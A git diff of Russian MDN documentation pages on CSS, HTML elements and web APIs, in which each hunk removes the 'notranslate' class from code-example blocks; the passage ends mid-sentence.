b/files/ru/web/css/white-space/index.html @@ -19,7 +19,7 @@ translation_of: Web/CSS/white-space <h2 id="Сводка">Сводка</h2> -<pre class="brush: css no-line-numbers notranslate">/* Ключевые значения */ +<pre class="brush: css no-line-numbers">/* Ключевые значения */ white-space: normal; white-space: nowrap; white-space: pre; @@ -128,13 +128,13 @@ white-space: unset; <h3 id="Основной_пример">Основной пример</h3> -<pre class="brush: css notranslate">code { +<pre class="brush: css">code { white-space: pre; }</pre> <h3 id="Перенос_строк_внутри_элементов_HTMLElementpre">Перенос строк внутри элементов {{HTMLElement("pre")}} </h3> -<pre class="brush: css notranslate">pre { +<pre class="brush: css">pre { word-wrap: break-word; /* IE 5.5-7 */ white-space: pre-wrap; /* текущие браузеры */ }</pre> diff --git a/files/ru/web/css/z-index/index.html b/files/ru/web/css/z-index/index.html index 389a46767f..e37c2c23ab 100644 --- a/files/ru/web/css/z-index/index.html +++ b/files/ru/web/css/z-index/index.html @@ -22,7 +22,7 @@ translation_of: Web/CSS/z-index <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:css notranslate">/* Значение - ключевое слово */ +<pre class="brush:css">/* Значение - ключевое слово */ z-index: auto; /* <целочисленные> значения */ @@ -54,7 +54,7 @@ z-index: unset; <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div class="dashed-box">Dashed box +<pre class="brush: html"><div class="dashed-box">Dashed box <span class="gold-box">Gold box</span> <span class="green-box">Green box</span> </div> @@ -62,7 +62,7 @@ z-index: unset; <h3 id="CSS">CSS</h3> -<pre class="brush: css; highlight:[3,11,19] notranslate">.dashed-box { +<pre class="brush: css; highlight:[3,11,19]">.dashed-box { position: relative; z-index: 1; border: dashed; diff --git a/files/ru/web/guide/audio_and_video_manipulation/index.html b/files/ru/web/guide/audio_and_video_manipulation/index.html index 4fafc4e8d9..116ca50d1d 100644 --- a/files/ru/web/guide/audio_and_video_manipulation/index.html +++ b/files/ru/web/guide/audio_and_video_manipulation/index.html @@ -41,7 +41,7 @@ translation_of: Web/Guide/Audio_and_video_manipulation <p>We can set up our video player and <code><canvas></code> element like this:</p> -<pre class="brush: html notranslate"><video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> +<pre class="brush: html"><video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> <source src="http://jplayer.org/video/webm/Big_Buck_Bunny_Trailer.webm" type="video/webm"> <source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"> </video> @@ -52,7 +52,7 @@ translation_of: Web/Guide/Audio_and_video_manipulation <p>This code handles altering the frames.</p> -<pre class="brush: js notranslate">var processor = { +<pre class="brush: js">var processor = { timerCallback: function() { if (this.video.paused || this.video.ended) { return; @@ -97,7 +97,7 @@ translation_of: Web/Guide/Audio_and_video_manipulation <p>Когда страница загрузилась осуществите вызов:</p> -<pre class="brush: js notranslate">processor.doLoad()</pre> +<pre class="brush: js">processor.doLoad()</pre> <h4 id="Результат">Результат</h4> @@ -127,19 +127,19 @@ translation_of: Web/Guide/Audio_and_video_manipulation <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><video id="my-video" controls +<pre class="brush: html"><video id="my-video" controls src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v"> </video></pre> <h4 id="JavaScript_2">JavaScript</h4> -<pre class="brush: js notranslate">var myVideo = document.getElementById('my-video'); +<pre class="brush: js">var myVideo = document.getElementById('my-video'); myVideo.playbackRate = 2;</pre> <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><video id="my-video" controls="true" width="480" height="270"> +<pre class="brush: html"><video id="my-video" controls="true" width="480" height="270"> <source src="http://jplayer.org/video/webm/Big_Buck_Bunny_Trailer.webm" type="video/webm"> <source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"> </video> @@ -152,7 +152,7 @@ var myVideo = document.getElementById('my-video'); myVideo.playbackRate = 2;</textarea> </pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var edit = document.getElementById('edit'); var code = textarea.value; @@ -222,13 +222,13 @@ window.addEventListener('load', setPlaybackRate); <h4 id="HTML_3">HTML</h4> -<pre class="brush: html notranslate"><video id="my-video" controls +<pre class="brush: html"><video id="my-video" controls src="myvideo.mp4" type="video/mp4"> </video></pre> <h4 id="JavaScript_3">JavaScript</h4> -<pre class="brush: js notranslate">var context = new AudioContext(), +<pre class="brush: js">var context = new AudioContext(), audioSource = context.createMediaElementSource(document.getElementById("my-video")), filter = context.createBiquadFilter(); audioSource.connect(filter); @@ -242,7 +242,7 @@ filter.gain.value = 25;</pre> <div class="hidden"> <h6 id="Playable_code_2">Playable code</h6> -<pre class="brush: html notranslate"><video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> +<pre class="brush: html"><video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> <source src="http://jplayer.org/video/webm/Big_Buck_Bunny_Trailer.webm" type="video/webm"> <source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"> </video> @@ -255,7 +255,7 @@ filter.type = "lowshelf"; filter.frequency.value = 1000; filter.gain.value = 25;</textarea></pre> -<pre class="brush: js notranslate">var context = new AudioContext(), +<pre class="brush: js">var context = new AudioContext(), audioSource = context.createMediaElementSource(document.getElementById("my-video")), filter = context.createBiquadFilter(); audioSource.connect(filter); @@ -315,7 +315,7 @@ window.addEventListener('load', setFilter); <h4 id="Пример">Пример</h4> -<pre class="brush: js notranslate">var convolver = context.createConvolver(); +<pre class="brush: js">var convolver = context.createConvolver(); convolver.buffer = this.impulseResponseBuffer; // Connect the graph. source.connect(convolver); @@ -330,7 +330,7 @@ convolver.connect(context.destination); <h4 id="Пример_2">Пример</h4> -<pre class="brush: js notranslate">var panner = context.createPanner(); +<pre class="brush: js">var panner = context.createPanner(); panner.coneOuterGain = 0.2; panner.coneOuterAngle = 120; panner.coneInnerAngle = 0; diff --git a/files/ru/web/guide/parsing_and_serializing_xml/index.html b/files/ru/web/guide/parsing_and_serializing_xml/index.html index 5304905afc..c0f4996f11 100644 --- a/files/ru/web/guide/parsing_and_serializing_xml/index.html +++ b/files/ru/web/guide/parsing_and_serializing_xml/index.html @@ -43,7 +43,7 @@ translation_of: Web/Guide/Parsing_and_serializing_XML <p>В этом примере фрагмент XML в строке преобразуется в дерево DOM с помощью {{domxref ("DOMParser")}}:</p> <div style="overflow: hidden;"> -<pre class="brush: js notranslate">var sMyString = '<a id="a"><b id="b">hey!</b></a>'; +<pre class="brush: js">var sMyString = '<a id="a"><b id="b">hey!</b></a>'; var oParser = new DOMParser(); var oDOM = oParser.parseFromString(sMyString, "application/xml"); // print the name of the root element or error message @@ -57,7 +57,7 @@ console.log(oDOM.documentElement.nodeName == "parsererror" ? "error while parsin <p>Вот пример кода, который считывает и анализирует XML-файл с URL-адресом в дереве DOM:</p> -<pre class="brush: js notranslate">var xhr = new XMLHttpRequest(); +<pre class="brush: js">var xhr = new XMLHttpRequest(); xhr.onload = function() { dump(xhr.responseXML.documentElement.nodeName); } @@ -89,21 +89,21 @@ xhr.send(); <p>Чтобы сериализовать документ дерева DOM в текст XML, вызовите {{domxref ("XMLSerializer.serializeToString ()")}}:</p> -<pre class="brush: js notranslate">var oSerializer = new XMLSerializer(); +<pre class="brush: js">var oSerializer = new XMLSerializer(); var sXML = oSerializer.serializeToString(doc);</pre> <h3 id="Serializing_HTML_documents">Serializing HTML documents</h3> <p>Если у вас есть модель DOM в виде HTML-документа, вы можете сериализовать её с помощью serializeToString (), но есть более простой вариант: просто используйте свойство {{domxref ("Element.innerHTML")}} (если вам нужны только потомки указанный узел) или свойство {{domxref ("Element.outerHTML")}}, если вам нужен узел и все его потомки.</p> -<pre class="brush: js notranslate">var docHTML = document.documentElement.innerHTML; +<pre class="brush: js">var docHTML = document.documentElement.innerHTML; </pre> <p>В результате docHTML представляет собой {{domxref ("DOMString")}}, содержащий HTML-код содержимого документа; то есть содержимое элемента {{HTMLElement ("body")}}.</p> <p>Вы можете получить HTML, соответствующий <body> и его потомкам, с помощью этого кода:</p> -<pre class="brush: js notranslate">var docHTML = document.documentElement.outerHTML;</pre> +<pre class="brush: js">var docHTML = document.documentElement.outerHTML;</pre> <h2 id="See_also">See also</h2> diff --git a/files/ru/web/guide/user_input_methods/index.html b/files/ru/web/guide/user_input_methods/index.html index 8273c220e7..7fecabebd2 100644 --- a/files/ru/web/guide/user_input_methods/index.html +++ b/files/ru/web/guide/user_input_methods/index.html @@ -45,7 +45,7 @@ translation_of: Web/Guide/User_input_methods <p>Keyboard input can be controlled by your app. For example if you want to add controls when any key gets pressed, you need to add an event listener on the window object:</p> -<pre class="brush: js notranslate">window.addEventListener("keydown", handleKeyDown, true); +<pre class="brush: js">window.addEventListener("keydown", handleKeyDown, true); window.addEventListener("keyup", handleKeyUp, true);</pre> <p>where <code>handleKeyDown</code> and <code>handleKeyUp</code> are the functions implementing the controls about the <code>keydown</code> and <code>keyup</code> events.</p> @@ -66,7 +66,7 @@ window.addEventListener("keyup", handleKeyUp, true);</pre> <p>If you want to use touch events, you need to add event listeners and specify handler functions, which will be called when the event gets fired:</p> -<pre class="brush: js notranslate">element.addEventListener("touchstart", handleStart, false); +<pre class="brush: js">element.addEventListener("touchstart", handleStart, false); element.addEventListener("touchcancel", handleCancel, false); element.addEventListener("touchend", handleEnd, false); element.addEventListener("touchmove", handleMove, false);</pre> @@ -93,7 +93,7 @@ element.addEventListener("touchmove", handleMove, false);</pre> <p>This is the code to request pointer lock on an <code>element</code>:</p> -<pre class="brush: js notranslate">element.requestPointerLock();</pre> +<pre class="brush: js">element.requestPointerLock();</pre> <div class="note"> <p><strong>Note</strong>: For a full tutorial and reference, read our {{domxref("Pointer_Lock_API")}} page.</p> @@ -113,7 +113,7 @@ element.addEventListener("touchmove", handleMove, false);</pre> <p>You might need to present an element of your application (such as a {{ htmlelement("video") }}, for example) in fullscreen mode. You can achieve this by calling {{domxref("Element.requestFullscreen()")}} on that element. Bear in mind that many browsers still implement this with a vendor prefix, so you will probably need to fork your code something like this:</p> -<pre class="brush: js notranslate">var elem = document.getElementById("myvideo"); +<pre class="brush: js">var elem = document.getElementById("myvideo"); if (elem.requestFullscreen) { elem.requestFullscreen(); } else if (elem.msRequestFullscreen) { @@ -134,7 +134,7 @@ if (elem.requestFullscreen) { <p>Here is an example that allows a section of content to be dragged.</p> -<pre class="brush: html notranslate"><div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"> +<pre class="brush: html"><div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"> This text <strong>may</strong> be dragged.
</div></pre> @@ -153,7 +153,7 @@ if (elem.requestFullscreen) { <p>In open web apps any DOM element can be made directly editable using the <a href="/en-US/docs/Web/HTML/Global_attributes#contenteditable"><code>contenteditable</code></a> attribute.</p> -<pre class="brush: html notranslate"><div contenteditable="true"> +<pre class="brush: html"><div contenteditable="true"> This text can be edited by the user. </div></pre> diff --git a/files/ru/web/html/attributes/pattern/index.html b/files/ru/web/html/attributes/pattern/index.html index b7df7361ed..065388ae8c 100644 --- a/files/ru/web/html/attributes/pattern/index.html +++ b/files/ru/web/html/attributes/pattern/index.html @@ -35,7 +35,7 @@ translation_of: Web/HTML/Attributes/pattern <p>Given the following:</p> <div id="example1"> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> <label>Enter your phone number in the format (123)456-7890 (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2"/>)- <input name="tel2" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit prefix" size="2"/> - @@ -47,7 +47,7 @@ translation_of: Web/HTML/Attributes/pattern <p>If the values are too long or too short, or contain characters that aren't digits, the patternMismatch will be true. When <code>true</code>, the element matches the {{cssxref(":invalid")}} CSS pseudo-classes.</p> -<pre class="brush: css notranslate">input:invalid { +<pre class="brush: css">input:invalid { border: red solid 3px; }</pre> @@ -62,7 +62,7 @@ translation_of: Web/HTML/Attributes/pattern <p>The example below restricts the value to 4-8 characters and requires that it contain only lower-case letters.</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="uname">Choose a username: </label> <input type="text" id="uname" name="name" required size="45" @@ -76,7 +76,7 @@ translation_of: Web/HTML/Attributes/pattern </form></pre> <div class="hidden"> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { margin-bottom: 10px; position: relative; } diff --git a/files/ru/web/html/element/address/index.html b/files/ru/web/html/element/address/index.html index 43d35ffddc..d8f95f56c7 100644 --- a/files/ru/web/html/element/address/index.html +++ b/files/ru/web/html/element/address/index.html @@ -54,7 +54,7 @@ translation_of: Web/HTML/Element/address <h2 id="Пример">Пример</h2> -<pre class="brush: html notranslate"> <address> +<pre class="brush: html"> <address> You can contact author at <a href="http://www.somedomain.com/contact">www.somedomain.com</a>.<br> If you see any bugs, please <a href="mailto:webmaster@somedomain.com">contact webmaster</a>.<br> You may also want to visit us:<br> diff --git a/files/ru/web/html/element/b/index.html b/files/ru/web/html/element/b/index.html index 73d129d034..d42a440c9c 100644 --- a/files/ru/web/html/element/b/index.html +++ b/files/ru/web/html/element/b/index.html @@ -51,11 +51,11 @@ translation_of: Web/HTML/Element/b <h2 id="Пример">Пример</h2> -<pre class="brush: css notranslate">.keywords { +<pre class="brush: css">.keywords { color:red; }</pre> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> В этой статье описывается элемент для форматирования <b class="keywords">текста</b>. Она объясняет его использование в документе <b class="keywords">HTML</b>. </p> diff --git a/files/ru/web/html/element/base/index.html b/files/ru/web/html/element/base/index.html index 688f04a639..384e13abeb 100644 --- a/files/ru/web/html/element/base/index.html +++ b/files/ru/web/html/element/base/index.html @@ -64,7 +64,7 @@ translation_of: Web/HTML/Element/base <h2 id="Примеры">Примеры</h2> -<pre class="brush: html notranslate"><base href="http://www.example.com/page.html"> +<pre class="brush: html"><base href="http://www.example.com/page.html"> <base target="_blank" href="http://www.example.com/page.html"> </pre> diff --git a/files/ru/web/html/element/button/index.html b/files/ru/web/html/element/button/index.html index 82d5b3a068..b9ad2a8b29 100644 --- a/files/ru/web/html/element/button/index.html +++ b/files/ru/web/html/element/button/index.html @@ -122,7 +122,7 @@ original_slug: Web/HTML/Element/кнопка <h2 id="Example">Пример</h2> -<pre class="brush:html notranslate"><button name="button">Тык!</button> +<pre class="brush:html"><button name="button">Тык!</button> </pre> <p>{{ EmbedLiveSample('Example', 200, 64) }}</p> diff --git a/files/ru/web/html/element/canvas/index.html b/files/ru/web/html/element/canvas/index.html index cfc3bbc0f7..8be91f4e9a 100644 --- a/files/ru/web/html/element/canvas/index.html +++ b/files/ru/web/html/element/canvas/index.html @@ -57,14 +57,14 @@ translation_of: Web/HTML/Element/canvas <h2 id="Примеры">Примеры</h2> -<pre class="brush: html notranslate"><canvas id="canvas" width="300" height="300"> +<pre class="brush: html"><canvas id="canvas" width="300" height="300"> Извините, ваш браузер нет поддерживает&lt;canvas&gt; элемент. </canvas> </pre> <p>Если ваш холст не использует transparency, установите <code>moz-opaque</code> атрибут на canvas теге. Это информация может быть использована для оптимизации рендеринга. Однако, этот атрибут не был стандартизирован и работает только в браузерах основанных на движках рендеринга Mozilla .</p> -<pre class="brush: html notranslate"><canvas id="mycanvas" moz-opaque></canvas></pre> +<pre class="brush: html"><canvas id="mycanvas" moz-opaque></canvas></pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/html/element/code/index.html b/files/ru/web/html/element/code/index.html index ca97804ba3..04dec8eb32 100644 --- a/files/ru/web/html/element/code/index.html +++ b/files/ru/web/html/element/code/index.html @@ -56,7 +56,7 @@ translation_of: Web/HTML/Element/code <p>Текстовый абзац, включающий <code><code></code>:</p> -<pre class="brush: html notranslate"><p>The function <code>selectAll()</code> highlights all the text in the +<pre class="brush: html"><p>The function <code>selectAll()</code> highlights all the text in the input field so the user can, for example, copy or delete the text.</p> </pre> diff --git a/files/ru/web/html/element/dialog/index.html b/files/ru/web/html/element/dialog/index.html index 384c7e1ef0..52b1efdad9 100644 --- a/files/ru/web/html/element/dialog/index.html +++ b/files/ru/web/html/element/dialog/index.html @@ -56,14 +56,14 @@ translation_of: Web/HTML/Element/dialog <h3 id="Пример_1">Пример 1</h3> -<pre class="brush: html notranslate"><dialog open> +<pre class="brush: html"><dialog open> <p>Greetings, one and all!</p> </dialog> </pre> <h3 id="Пример_2">Пример 2</h3> -<pre class="brush: html notranslate"><!-- Простой попап диалог с формой --> +<pre class="brush: html"><!-- Простой попап диалог с формой --> <dialog id="favDialog"> <form method="dialog"> <section> @@ -106,7 +106,7 @@ translation_of: Web/HTML/Element/dialog </script> </pre> -<pre class="notranslate"><code><!-- Простой попап диалог с формой --> +<pre><code><!-- Простой попап диалог с формой --> <dialog id="favDialog"> <form method="dialog"> <section> diff --git a/files/ru/web/html/element/heading_elements/index.html b/files/ru/web/html/element/heading_elements/index.html index ba5d86e45e..f3d4b54f1d 100644 --- a/files/ru/web/html/element/heading_elements/index.html +++ b/files/ru/web/html/element/heading_elements/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/Heading_Elements <p>Следующий код показывает все уровни заголовков в действии</p> -<pre class="brush: html notranslate"><h1>Heading level 1</h1> +<pre class="brush: html"><h1>Heading level 1</h1> <h2>Heading level 2</h2> <h3>Heading level 3</h3> <h4>Heading level 4</h4> @@ -73,7 +73,7 @@ translation_of: Web/HTML/Element/Heading_Elements <p>Следующий код показывает несколько заголовков с некоторым содержанием под ними .</p> -<pre class="brush: html notranslate"><h1>Heading elements</h1> +<pre class="brush: html"><h1>Heading elements</h1> <h2>Summary</h2> <p>Some text here...</p> @@ -100,14 +100,14 @@ translation_of: Web/HTML/Element/Heading_Elements <h4 id="Не_делай">Не делай</h4> -<pre class="notranslate"><h1>Heading level 1</h1> +<pre><h1>Heading level 1</h1> <h3>Heading level 3</h3> <h4>Heading level 4</h4> </pre> <h4 id="Делай">Делай</h4> -<pre class="notranslate"><h1>Heading level 1</h1> +<pre><h1>Heading level 1</h1> <h2>Heading level 2</h2> <h3>Heading level 3</h3> </pre> @@ -172,7 +172,7 @@ translation_of: Web/HTML/Element/Heading_Elements <h4 id="Пример">Пример</h4> -<pre class="notranslate"><header> +<pre><header> <nav aria-labelledby="primary-navigation"> <h2 id="primary-navigation">Primary navigation</h2> <!-- navigation items --> diff --git a/files/ru/web/html/element/hr/index.html b/files/ru/web/html/element/hr/index.html index 708ea55022..b2a400352a 100644 --- a/files/ru/web/html/element/hr/index.html +++ b/files/ru/web/html/element/hr/index.html @@ -67,7 +67,7 @@ translation_of: Web/HTML/Element/hr <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> Это первый параграф текста Это первый параграф текста Это первый параграф текста diff --git a/files/ru/web/html/element/input/color/index.html b/files/ru/web/html/element/input/color/index.html index d2b44fcebe..a74bd698ee 100644 --- a/files/ru/web/html/element/input/color/index.html +++ b/files/ru/web/html/element/input/color/index.html @@ -65,7 +65,7 @@ translation_of: Web/HTML/Element/input/color <p>Вы можете обновить простой пример выше, чтобы установить значение по умолчанию, так что цветовая заливка будет предварительно заполнена цветом по умолчанию, и палитра цветов (если таковая имеется) также будет по умолчанию использовать этот цвет:</p> -<pre class="brush: html notranslate"><input type="color" value="#ff0000"></pre> +<pre class="brush: html"><input type="color" value="#ff0000"></pre> <p>{{EmbedLiveSample("Предоставление_цвета_по_умолчанию", 700, 30)}}</p> @@ -77,7 +77,7 @@ translation_of: Web/HTML/Element/input/color <p>Вот пример, который наблюдает за изменениями со временем значения цвета:</p> -<pre class="brush: js notranslate">colorPicker.addEventListener("input", updateFirst, false); +<pre class="brush: js">colorPicker.addEventListener("input", updateFirst, false); colorPicker.addEventListener("change", watchColorPicker, false); function watchColorPicker(event) { @@ -91,7 +91,7 @@ function watchColorPicker(event) { <p>Если реализация элемента {{HTMLElement("input")}} типа <code>color</code> в браузере пользователя не поддерживается правильно, а вместо этого является текстовым полем для непосредственного ввода строки цвета, вы можете использовать {{domxref("HTMLInputElement.select", " select ()")}} метод выбора текста, находящегося в данный момент в поле редактирования. Если браузер вместо этого верно использует <code>color</code>, select () ничего не делает. Вы должны знать об этом, чтобы ваш код мог адекватно реагировать в любом случае.</p> -<pre class="brush: js notranslate">colorWell.select();</pre> +<pre class="brush: js">colorWell.select();</pre> <h3 id="Вариации_внешнего_вида">Вариации внешнего вида</h3> @@ -115,7 +115,7 @@ function watchColorPicker(event) { <p>HTML довольно прост — пара абзацев описательного материала с {{HTMLElement ("input")}} типа <code>color </code>с идентификатором <code>colorWell</code>, который мы будем использовать для изменения цвета текста абзацев.</p> -<pre class="brush: html notranslate"><p>An example demonstrating the use of the <code>&lt;input type="color"&gt;</code> +<pre class="brush: html"><p>An example demonstrating the use of the <code>&lt;input type="color"&gt;</code> control.</p> <label for="colorWell">Color:</label> @@ -132,7 +132,7 @@ function watchColorPicker(event) { <p>Во-первых, есть некоторые настройки. Здесь мы объявляем некоторые переменные. Объявляя переменную, содержащую цвет, который мы установим, когда загрузим страницу, а затем устанавливаем обработчик {{domxref("Window/load_event", "load")}} для выполнения основной работы запуска, как только страница будет полностью загружена.</p> -<pre class="brush: js notranslate">var colorWell; +<pre class="brush: js">var colorWell; var defaultColor = "#0000ff"; window.addEventListener("load", startup, false); @@ -142,7 +142,7 @@ window.addEventListener("load", startup, false); <p>Как только страница загружена, вызывается наш обработчик событий загрузки <code>startup()</code>:</p> -<pre class="brush: js notranslate">function startup() { +<pre class="brush: js">function startup() { colorWell = document.querySelector("#colorWell"); colorWell.value = defaultColor; colorWell.addEventListener("input", updateFirst, false); @@ -159,7 +159,7 @@ window.addEventListener("load", startup, false); <p>Мы предоставляем две функции, которые имеют дело с изменением цвета. Функция <code>updateFirst()</code> вызывается в ответ на <code>input</code> событие. Он изменяет цвет первого элемента абзаца в документе, чтобы соответствовать новому значению входного цвета. Поскольку <code>input</code> события запускаются каждый раз, когда производится корректировка значения (например, если яркость цвета увеличивается), они будут происходить повторно при использовании средства выбора цвета.</p> -<pre class="brush: js notranslate">function updateFirst(event) { +<pre class="brush: js">function updateFirst(event) { var p = document.querySelector("p"); if (p) { @@ -169,7 +169,7 @@ window.addEventListener("load", startup, false); <p>Когда средство выбора цвета закрывается, указывая, что значение больше не будет меняться (если пользователь повторно не откроет средство выбора цвета), в элемент отправляется событие <code>change</code>. Мы обрабатываем это событие с помощью функции <code>updateAll()</code>, используя {{domxref("HTMLInputElement.value", "Event.target.value")}} для получения окончательного выбранного цвета:</p> -<pre class="brush: js notranslate">function updateAll(event) { +<pre class="brush: js">function updateAll(event) { document.querySelectorAll("p").forEach(function(p) { p.style.color = event.target.value; }); diff --git a/files/ru/web/html/element/input/date/index.html b/files/ru/web/html/element/input/date/index.html index 23d6d631cc..d6f809030c 100644 --- a/files/ru/web/html/element/input/date/index.html +++ b/files/ru/web/html/element/input/date/index.html @@ -54,7 +54,7 @@ translation_of: Web/HTML/Element/input/date <p>Возвращает {{domxref("DOMString")}}, представляющий значение даты введённой в input. Вы можете установить значение по умолчанию для элемента с помощью добавления атрибута в {{htmlattrxref("value", "input")}}, например:</p> -<pre class="brush: html notranslate"><input id="date" type="date" value="2017-06-01"></pre> +<pre class="brush: html"><input id="date" type="date" value="2017-06-01"></pre> <p>{{EmbedLiveSample('Значение', 600, 40)}}</p> @@ -64,7 +64,7 @@ translation_of: Web/HTML/Element/input/date <p>Вы также можете получить или установить значение даты в JavaScript с помощью свойств {{domxref("HTMLInputElement.value", "value")}} и {{domxref("HTMLInputElement.valueAsNumber", "valueAsNumber")}} элемента input. Например:</p> -<pre class="brush: js notranslate">var dateControl = document.querySelector('input[type="date"]'); +<pre class="brush: js">var dateControl = document.querySelector('input[type="date"]'); dateControl.value = '2017-06-01'; console.log(dateControl.value); // prints "2017-06-01" console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript timestamp (ms) @@ -135,7 +135,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti <p>Самый простой способ использовать <code><input type="date"></code> - это использовать его с элементами <code><input></code> и <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">label</span></font>, как показано ниже:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="bday">Введите дату вашего рождения:</label> <input type="date" id="bday" name="bday"> @@ -148,7 +148,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti <p>Вы можете использовать атрибуты {{htmlattrxref("min", "input")}} и {{htmlattrxref("max", "input")}}, чтобы ограничить дату, которую может выбрать пользователь. В следующем примере мы устанавливаем минимальную дату <code>2017-04-01</code> и максимальную дату <code>2017-04-30</code>. Пользователь сможет выбрать дату только из этого диапазона:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="party">Укажите предпочтительную дату события:</label> <input type="date" id="party" name="party" min="2017-04-01" max="2017-04-30"> @@ -177,7 +177,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti <p>Let's look at an example — here we've set minimum and maximum dates, and also made the field required:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="party">Choose your preferred party date (required, April 1st to 20th):</label> <input type="date" id="party" name="party" min="2017-04-01" max="2017-04-20" required> @@ -198,7 +198,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti <p>Here's the CSS used in the above example. Here we make use of the {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS properties to style the input based on whether or not the current value is valid. We had to put the icons on a {{htmlelement("span")}} next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively.</p> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { margin-bottom: 10px; display: flex; align-items: center; @@ -244,7 +244,7 @@ input:valid+span:after { <p>One way around this is to put a {{htmlattrxref("pattern", "input")}} attribute on your date input. Even though the date input doesn't use it, the text input fallback will. For example, try viewing the following example in a non-supporting browser:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="bday">Enter your birthday:</label> <input type="date" id="bday" name="bday" required pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}"> @@ -260,7 +260,7 @@ input:valid+span:after { <p>If you try submitting it, you'll see that the browser now displays an error message (and highlights the input as invalid) if your entry doesn't match the pattern <code>nnnn-nn-nn</code>, where <code>n</code> is a number from 0 to 9. Of course, this doesn't stop people from entering invalid dates, or incorrectly formatted dates, such as <code>yyyy-dd-mm</code> (whereas we want <code>yyyy-mm-dd</code>). So we still have a problem.</p> <div class="hidden"> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { margin-bottom: 10px; } @@ -297,7 +297,7 @@ input:valid + span:after { <p>The HTML looks like so:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div class="nativeDatePicker"> <label for="bday">Enter your birthday:</label> <input type="date" id="bday" name="bday"> @@ -338,7 +338,7 @@ input:valid + span:after { <p>The months are hardcoded (as they are always the same), while the day and year values are dynamically generated depending on the currently selected month and year, and the current year (see the code comments below for detailed explanations of how these functions work.)</p> <div class="hidden"> -<pre class="brush: css notranslate">input:invalid+span:after { +<pre class="brush: css">input:invalid+span:after { content: '✖'; padding-left: 5px; } @@ -353,7 +353,7 @@ input:valid+span:after { <p>The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <code><input type="date"></code>, we create a new {{htmlelement("input")}} element, set its <code>type</code> to <code>date</code>, then immediately check what its type is set to — non-supporting browsers will return <code>text</code>, because the <code>date</code> type falls back to type <code>text</code>. If <code><input type="date"></code> is not supported, we hide the native picker and show the fallback picker UI ({{htmlelement("select")}}) instead.</p> -<pre class="brush: js notranslate">// define variables +<pre class="brush: js">// define variables var nativePicker = document.querySelector('.nativeDatePicker'); var fallbackPicker = document.querySelector('.fallbackDatePicker'); var fallbackLabel = document.querySelector('.fallbackLabel'); diff --git a/files/ru/web/html/element/input/number/index.html b/files/ru/web/html/element/input/number/index.html index b9f77cd132..2b746109af 100644 --- a/files/ru/web/html/element/input/number/index.html +++ b/files/ru/web/html/element/input/number/index.html @@ -42,7 +42,7 @@ translation_of: Web/HTML/Element/input/number <p>{{jsxref("Number")}}, представляющий значение введённого числа. Вы можете установить значение по умолчанию, вставив значение в атрибут {{htmlattrxref("value", "input")}}, например:</p> -<pre class="brush: html notranslate"><input id="number" type="number" value="42"></pre> +<pre class="brush: html"><input id="number" type="number" value="42"></pre> <p>{{EmbedLiveSample('Value', 600, 40)}}</p> @@ -131,7 +131,7 @@ translation_of: Web/HTML/Element/input/number <p>In its most basic form, a number input can be implemented like this:</p> -<pre class="brush: html notranslate"><label for="ticketNum">Number of tickets you would like to buy:</label> +<pre class="brush: html"><label for="ticketNum">Number of tickets you would like to buy:</label> <input id="ticketNum" type="number" name="ticketNum" value="0"></pre> <p>{{EmbedLiveSample('A_simple_number_input', 600, 40)}}</p> @@ -148,7 +148,7 @@ translation_of: Web/HTML/Element/input/number <p>Here, we have an <code>number</code> input with the placeholder <code>"Multiple of 10"</code>. Note how the placeholder disappears and reappears as you manipulate the contents of the edit field.</p> -<pre class="brush: html notranslate"><input type="number" placeholder="Multiple of 10"></pre> +<pre class="brush: html"><input type="number" placeholder="Multiple of 10"></pre> <p>{{EmbedLiveSample('Placeholders', 600, 40)}}</p> @@ -156,7 +156,7 @@ translation_of: Web/HTML/Element/input/number <p>By default, the up and down buttons provided for you to step the number up and down will step the value up and down by 